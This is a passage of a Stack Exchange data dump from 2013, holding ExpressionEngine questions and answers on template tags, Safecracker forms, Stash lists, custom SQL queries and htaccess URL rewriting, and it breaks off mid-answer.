  <row Id="5452" PostTypeId="2" ParentId="5449" CreationDate="2013-01-27T20:10:38.200" Score="1" Body="&lt;p&gt;Give this a shot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; ...}&#xA;  {if page_sidebar_options == &quot;default&quot;}{embed=&quot;include/sidebar_default&quot;}{/if}&#xA;  {if page_sidebar_options == &quot;one&quot;}{embed=&quot;include/sidebar_opt_1&quot;}{/if}&#xA;  {if page_sidebar_options == &quot;two&quot;}{embed=&quot;include/sidebar_opt_2&quot;}{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-27T20:10:38.200" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5453" PostTypeId="2" ParentId="5450" CreationDate="2013-01-27T20:18:15.980" Score="4" Body="&lt;p&gt;Whatever is between the &lt;code&gt;{exp:channel:entries}{/exp:channel:entries}&lt;/code&gt; tags will be repeated for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;  &amp;lt;div class=&quot;entry&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd get a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a common practice is to use conditionals to output stuff at the beginning and end though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&#xA;  {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;  {if no_results}&#xA;    &amp;lt;p&amp;gt;There are no entries.&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, you have control whats at the start, end, and what happens if there are no entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to use lists, you can use whatever code you want.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-27T20:18:15.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5454" PostTypeId="2" ParentId="5450" CreationDate="2013-01-27T20:18:32.260" Score="3" Body="&lt;p&gt;This is more of an HTML question than an EE question. ExpressionEngine will return 5, 10, 20 or whatever number of entries you like, in the format that you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want each entry returned as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Title&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;span&amp;gt;Date&amp;lt;/span&amp;gt;&#xA;  &amp;lt;p&amp;gt;Description&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's the code we use on an image gallery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;site&quot; channel=&quot;gallery&quot; limit=&quot;30&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;&#xA;&amp;lt;div class=&quot;clearfix frame four columns{exp:tag:tags entry_id='{entry_id}' limit='5' orderby='total_entries' sort='desc'} {tag}{/exp:tag:tags}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;gallery-meta&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{image_type}/display/{url_title}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;{image_caption}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;img src=&quot;/images/gallery/{image_medium}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just have to decide which pieces of the code need to be repeated, and which go outside of the channel tag.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-27T20:18:32.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5455" PostTypeId="2" ParentId="5345" CreationDate="2013-01-27T22:38:48.377" Score="0" Body="&lt;p&gt;For simple setups, you can also go vanilla and make it very simple for the end user.&#xA;Basically, create x image/file fields and divide you body into x textarea/Wysiwyg fields.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image 1&lt;/li&gt;&#xA;&lt;li&gt;Body 1&lt;/li&gt;&#xA;&lt;li&gt;Image 2&lt;/li&gt;&#xA;&lt;li&gt;Body 3&lt;/li&gt;&#xA;&lt;li&gt;Image 3&lt;/li&gt;&#xA;&lt;li&gt;Body 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only the first image and body field would be mandatory and shown by default. The other would be collapsed. Then, the end user can upload up to three images and place them exactely where she/he wants by splitting the content of the article into the three body fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then add custom fields for floating each image left or right, crop it a certain way, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple approach, not much margin for error on the client side. Easy to move back into a single field if needed down the road.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-01-27T22:38:48.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5456" PostTypeId="2" ParentId="5439" CreationDate="2013-01-27T23:31:53.210" Score="1" Body="&lt;p&gt;I had to set up default entries in the past and have new entries &quot;inherit&quot; from those. We did that with SAEF, now Safecracker, and 2 steps for new entries. We'd support just enough fields to get the entry going in step 1, redirect to a template that would populate the fields with values from the default entry, save those values and redirect back to the full entry for step 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to make that 1 step in Safecracker by wrapping a subset of fields in a channel entry tag for the default entry values. &lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-27T23:31:53.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5457" PostTypeId="1" AcceptedAnswerId="5459" CreationDate="2013-01-28T00:39:08.010" Score="0" ViewCount="335" Body="&lt;p&gt;If I had a folder with a series of subfolders that matched the username, could I show those files to that specific user?  Looking to try making a download portal, but the files are not small enough to be uploaded through PHP. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Manager Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/home/www/files/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets Folder tag: &#xA;&lt;strong&gt;parent_folder=&quot;{filedir_x}&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wanted to show a single folder in the files directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/home/www/files/{username}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets Folder tag: &#xA;&lt;strong&gt;parent_folder=&quot;{filedir_x}{username}&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire tag would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders parent_folder=&quot;{filedir_20}admin&quot; recursive=&quot;yes&quot;}&#xA;    &amp;lt;h3&amp;gt;{folder_name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:assets:files folder_id=&quot;{folder_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url:huge}&quot; target=&quot;_blank&quot;&amp;gt;{if title != &quot;&quot;}{title}{if:else}{filename}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:assets:files}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:assets:folders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using just {filedir_x} worked, but adding {filedir_x}{username} did not.  Is it possible without using entries and just the two Assets tags?  And I would assume from previous posts that if it could, it would show all files as a flat list, and not nested within subfolders?&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2013-08-06T02:00:48.030" Title="Assets - Showing a specific folder" Tags="|assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5458" PostTypeId="1" AcceptedAnswerId="5488" CreationDate="2013-01-28T04:00:50.840" Score="1" ViewCount="97" Body="&lt;p&gt;I'm using ExpressionEngine 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently added a second site using Multisite Manager on my local environment, staging environment, and production environment. The installation is complete and I have my second templates working correctly. I am only working on my local set up, but as soon as I have this up and running without errors, I will be moving all of my changes over to my staging site, then production site. Locally, when I try to add new channels field groups to my second site within my ExpressionEngine control pannel, my newly created channel field groups are automatically showing the channel fields from my primary site. I cannot delete the old channel fields, because I am receiving the following database error(s):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1091&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Can't DROP 'field_id_176'; check that column/key exists&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE exp_channel_data DROP field_id_176&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/api/Api_channel_fields.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 434&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error is different depending on the channel field I try to delete. It will vary by listing a different database entry that it cannot drop (i.e . 'field_id_176,' 'field_id_178,' etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually delete those fields in my database, it removes them from my second site, but it also removes them from my primary site. Obviously this is a problem because I am racking up too many fields which is very confusing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cannot delete the second site, because it gives me the same database errors. When I try to hook up a third site, it does not recognize the folder with my templates in it and the Template Manager page shows up with no templates  or template groups (the folders exist locally and all of my paths to the appropriate directories are correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have this problem on my staging or production server, but I cannot get much work done locally and I'm in a time crunch!! Help would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="77" LastEditDate="2013-01-28T11:15:45.313" LastActivityDate="2013-01-28T20:05:22.660" Title="Database errors when deleting channel fields and second site with Multisite Manager" Tags="|channel|database|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5459" PostTypeId="2" ParentId="5457" CreationDate="2013-01-28T06:22:20.167" Score="3" Body="&lt;p&gt;Blair,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when Expression Engine calls Assets module tags, {username} is still just a string saying &quot;{username}&quot; (see Low's excellent overview for parse order - &lt;a href=&quot;http://bit.ly/UwfZE2&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/UwfZE2&lt;/a&gt;). You'll have to get the username using a different approach - probably by using PHP on Input.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-28T06:22:20.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5460" PostTypeId="1" CreationDate="2013-01-28T08:16:10.010" Score="4" ViewCount="990" Body="&lt;p&gt;I figured there'd be an easy way to pull entry values via a field. I'm building a site that has a basic search for a price (for property) and was hoping to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; search=&quot;price &amp;lt; 200000&quot;}&#xA;  &amp;lt;blah /&amp;gt;&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it seems I can only search for a value equal or not equal to a field value. Is that right or am I being particularly thick this weekend? I'm relatively new to EE, so apologies if it's a stupid question ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I'm not being thick, are there any plug ins that would do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Originally asked on &lt;a href=&quot;https://stackoverflow.com/questions/14553117/find-channel-entries-with-a-field-value-greater-or-less-than&quot;&gt;StackOverflow&lt;/a&gt;; was suggested I asked here).&lt;/p&gt;&#xA;" OwnerUserId="900" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-08-30T18:13:44.430" Title="Find channel entries with a field value greater or less than" Tags="|channel-entries|search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5461" PostTypeId="2" ParentId="5460" CreationDate="2013-01-28T08:34:14.713" Score="3" Body="&lt;p&gt;There is no &lt;code&gt;search=&quot;&quot;&lt;/code&gt; parameter in the channel:entries tag. There's only &lt;code&gt;search:custom_field=&quot;&quot;&lt;/code&gt; parameters, and those &lt;strong&gt;won't&lt;/strong&gt; take less/greater than values (or in other words: ranges) in &lt;strong&gt;EE 2.6.1 or lower&lt;/strong&gt;. They only accept (sub)string matching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-ons that will give you support for filtering by range would be &lt;a href=&quot;http://www.solspace.com/software/detail/super_search&quot; rel=&quot;nofollow&quot;&gt;Solspace's Super Search&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; by yours truly.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-08-30T18:13:44.430" LastActivityDate="2013-08-30T18:13:44.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5462" PostTypeId="2" ParentId="5046" CreationDate="2013-01-28T09:58:01.790" Score="2" Body="&lt;p&gt;It turns out the problem was being caused by the lack of a simply setting in the CE Image tags. As Aaron from CE Image very helpfully pointed out, by adding &lt;code&gt;remote_cache_time=&quot;360&quot;&lt;/code&gt; CE Image automatically checks each thumbnail image every 360 minutes (or 6 hours) and overwrites it if the image has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for their suggestions!&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-01-28T09:58:01.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5463" PostTypeId="2" ParentId="5413" CreationDate="2013-01-28T10:23:34.013" Score="4" Body="&lt;p&gt;You can use a custom query to fetch the titles and url_titles on the channel_titles table. It has a year, month and day column. If you need custom fields too, then you could only fetch the entry_id's and feed those to an embed, for a regular channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit (example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;On this day:&amp;lt;hr&amp;gt;&#xA;&#xA;{exp:query sql=&quot;&#xA;  SELECT &#xA;    title, url_title, year&#xA;  FROM &#xA;    exp_channel_titles &#xA;  WHERE &#xA;    channel_id = 1&#xA;  AND&#xA;    month = {current_time format='%m'} &#xA;  AND &#xA;    day = {current_time format='%d'}&#xA;  &quot;}&#xA;&#xA;  &amp;lt;p&amp;gt;{year} - {title} - {url_title}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if no_results}&#xA;    &amp;lt;p&amp;gt;nothing found&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Query module:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&lt;/a&gt;&lt;br&gt;&#xA;Date formatting:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need full custom fields then only select the entry_id and feed it to an embed with channel entries. The zero in front is a fail-safe (for if no entries are found).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Main template (query result something like 0|12|32|44)&#xA;&#xA;{embed=&quot;blog/thisday&quot; &#xA;   items=&quot;0{exp:query sql=&quot;SELECT entry_id FROM exp_channel_titles &#xA;              WHERE channel_id = 1&#xA;              AND month = {current_time format='%m'} &#xA;              AND day = {current_time format='%d'}&#xA;              &quot;}|{entry_id}{/exp:query}&quot;}&#xA;&#xA; // embedded template blog/thisday&#xA;&#xA; {exp:channel:entries channel=&quot;blog&quot; entry_id=&quot;{embed:items}&quot;}&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;    {!-- {custom_field} --}&#xA;    {if no_results}nothing found{/if}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or without embed, but with parse=&quot;inward&quot;, and a bit cluttered&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;woningaanbod&quot; &#xA;    entry_id=&quot;0{exp:query sql='SELECT entry_id FROM exp_channel_titles &#xA;          WHERE channel_id = 1&#xA;          AND month = {current_time format='%m'} &#xA;          AND day = {current_time format='%d'}&#xA;          '}|{entry_id}{/exp:query}&quot;&#xA;    parse=&quot;inward&quot;&#xA;  }&#xA;    &amp;lt;p&amp;gt;{title} - {entry_date format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;&#xA;    {!-- {custom_field} --}&#xA;    {if no_results}ahum, nothing found{/if}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ps. this (and EE in general) is quite delicate with the double and single quotes nesting inside each other. Anything inside the entry_id=&quot;&quot; tag (inside those double quotes), needs to have single quotes if you use tags for a parameter. Luckily the current_time is parsed very early on, so those nested single quotes from the format parameter, inside the query module tag, are replaced first with the values for month and day. After that, the query module runs first, because of the parse inward parameter. the rest is history, &quot;on this day&quot;.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-01-29T00:14:50.480" LastActivityDate="2013-01-29T00:14:50.480" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5464" PostTypeId="2" ParentId="5447" CreationDate="2013-01-28T11:02:59.387" Score="1" Body="&lt;p&gt;Well, i would still recommend CartThrob!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually did something for a site with the Cartthrob Pro add-on that sounds like what you want to do. It was for a property site where the site allowed a property owner to add a listing for their property and then add that listing to their basket. They could then pay for it and on payment confirmation that property listing (an EE entry) would have it's status changed from &quot;pending&quot; to &quot;open&quot; so that listing was made live. This used a custom extension i built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your scenario would be the same but change &quot;listing&quot; to &quot;advert&quot; in the above! There is now a extension on Cartthrobs github account that does exactly what my extension did and it's free too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever route you take, i appreciate it's much more expensive, but Cartthrob will allow you the most flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 cents :)&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-01-28T11:02:59.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5465" PostTypeId="1" AcceptedAnswerId="5784" CreationDate="2013-01-28T12:17:17.057" Score="0" ViewCount="159" Body="&lt;p&gt;On a website/webshop running EE 2.5.5, and Exp-resso store 1.6.2 i'm trying to simplify the stock keeping process. I'd like to close an entry with a safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For test purposes i created a new, blank template with only the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;products&quot; return=&quot;&quot; entry_id=&quot;{segment_2}&quot; }&#xA;&#xA;&amp;lt;select name=&quot;status&quot; id=&quot;status&quot;&amp;gt;&#xA;    {statuses}&#xA;            &amp;lt;option value=&quot;{status}&quot;{selected}&amp;gt;{status}&amp;lt;/option&amp;gt;&#xA;    {/statuses}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Apply&quot; /&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I change the status, press &quot;submit&quot; and get an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You must use the &quot;set&quot; method to update an entry.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/store/models/store_products_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 315&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;« Back&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The strange thing is: the status does change, so i'm not sure why i'm getting this error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the store_products_model.php the lines around 315 look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J01aN.jpg&quot; alt=&quot;lines 308 - 321 from the file &amp;quot;store_products_model&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to change the status on the front end using safecracker, error free. What should I do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround question might be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can i change the status without triggering the store_products_model?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-02-04T10:50:04.440" Title="Change status of an exp-resso store entry using safecracker" Tags="|expresso-store|safecracker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5466" PostTypeId="1" AcceptedAnswerId="5467" CreationDate="2013-01-28T12:45:22.060" Score="2" ViewCount="178" Body="&lt;p&gt;Is it possible to limit the amount of entries that a user can post. For example, if users are posting entries to a channel via a safecracker form, can I limit them to a single entry?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-28T13:39:27.447" Title="Limit the amount of entries a user can post?" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5467" PostTypeId="2" ParentId="5466" CreationDate="2013-01-28T13:32:57.950" Score="6" Body="&lt;p&gt;How would you want to enforce the limit? You could use a query tag at the top of the Safecracker form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;Select count(*) 'number_posts' from exp_channel_titles where author_id='{member_id}'&quot;}&#xA;    {if number_posts == 1}{/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And within that query, you could do a redirect, display a message, or wrap the whole form in a conditional that wouldn't display it if the user had &gt; 1 result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also only enable the form &lt;code&gt;if number_posts &amp;lt; 1&lt;/code&gt;, and then in the else case redirect to an edit form for their single entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Might not be the right syntax for author/member -- You'll need to look up the actual tags for those.)&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-28T13:39:27.447" LastActivityDate="2013-01-28T13:39:27.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5468" PostTypeId="1" AcceptedAnswerId="5471" CreationDate="2013-01-28T14:18:11.417" Score="0" ViewCount="388" Body="&lt;p&gt;I'm using Stash to create an A-Z page, that will simply loop through each {title} from the Pages module, using the match/against regex as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    {exp:stash:set_list name=&quot;pages_a&quot; parse_tags=&quot;yes&quot; match=&quot;#^A#&quot; against=&quot;{title}&quot;}&#xA;        {stash:title_a}{title}{/stash:title_a}&#xA;        {stash:url_title_a}{url_title}{/stash:url_title_a}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:set_list name=&quot;pages_b&quot; parse_tags=&quot;yes&quot; match=&quot;#^B#&quot; against=&quot;{title}&quot;}&#xA;        {stash:title_b}{title}{/stash:title_b}&#xA;        {stash:url_title_b}{url_title}{/stash:url_title_b}&#xA;    {/exp:stash:set_list}&#xA;&#xA;    {exp:stash:set_list name=&quot;pages_c&quot; parse_tags=&quot;yes&quot; match=&quot;#^C#&quot; against=&quot;{title}&quot;}&#xA;        {stash:title_c}{title}{/stash:title_c}&#xA;        {stash:url_title_c}{url_title}{/stash:url_title_c}&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&amp;lt;h4&amp;gt;A&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;pages_a&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/{url_title_a}&quot;&amp;gt;&amp;amp;#8594; {title_a}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;B&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;pages_b&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/{url_title_b}&quot;&amp;gt;&amp;amp;#8594; {title_b}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;C&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;pages_c&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/{url_title_c}&quot;&amp;gt;&amp;amp;#8594; {title_c}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it is only returning one entry for each get_list/letter. I was wondering if anyone can spot something that I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admittedly the code is a little more verbose than it perhaps needs to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-01-28T14:58:49.073" LastActivityDate="2013-01-28T15:51:11.617" Title="Stash set_list/get_list only returning one entry" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5470" PostTypeId="2" ParentId="5236" CreationDate="2013-01-28T14:52:51.067" Score="3" Body="&lt;p&gt;The 404 line is almost certainly the problem. I've seen this a couple times before now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically Apache is treating every page load as a 404 and sending it through to ExpressionEngine. At this point EE sees the URL and displays the page you expect. While this works well enough for most pages, it also happens to destroy any POST data, which is why no products are added to your cart. It's more of an accident that your site is working at all, and you should really try to avoid this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; Never use &lt;code&gt;ErrorDocument 404&lt;/code&gt; in an ExpressionEngine htaccess file. It does more harm than good, and masks the underlying issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should always start by testing &lt;strong&gt;only&lt;/strong&gt; the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;official htaccess method&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note you should leave out the &lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;/code&gt; lines, because all they do is hide errors when &lt;code&gt;mod_require&lt;/code&gt; isn't enabled (and it's much better to know about this problem than to spend hours trying to figure out why rewrite isn't working, trust me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't look like you're using it, but for the record, always &lt;strong&gt;avoid NSM Htaccess Generator&lt;/strong&gt;, it often breaks form submissions (precisely because it adds an 